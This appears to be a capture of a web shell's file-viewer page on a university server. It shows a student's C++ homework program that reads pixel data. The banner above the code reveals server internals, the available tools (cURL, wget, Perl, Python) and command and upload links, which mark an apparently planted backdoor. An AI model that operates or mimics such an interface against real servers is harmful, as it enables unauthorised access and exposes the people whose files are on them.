Server IP : 172.16.15.8 / Your IP : 18.119.137.175 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/bsjackson/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// // CS212 CS II Assignment 7 // Due: Wed April. 13, 2011 // // File Name: hw7.cpp // Author: Brittany Jackson // Instructor: Dr. Wang // // Compile: g++ hw7.cpp // Run: ./a.out // // Goal: Modify the user defined header files point.h and pixel.h // taught in classroom, write a program to read a set of pixels // from a file. Assume that the number of data is unknown to // an object of Pixel class. Output the coordinates and length // (one decimal place) for only the pixel that is ON. #include <iostream> #include<iomanip> using namespace std; #include "point.h" #include "pixel.h" int main() { Pixel px1(0, 0, OFF), px2(1, 1, OFF); int a, b; string str; StatusType sta; cin >> a >> b >> str; cout << fixed << showpoint << setprecision(1) << endl; while(cin) { if ( str == "ON") { sta = ON; px2.Set(a, b, sta); cout << "\n The distance from orgin is: " << px2.Distance (px1); cout << "\t"; cout << "The coordinates are: "; px2.Print(); } else if ( str == "OFF") sta = OFF; cin >> a >> b >> str; } cout << "\n\n"; return 0; }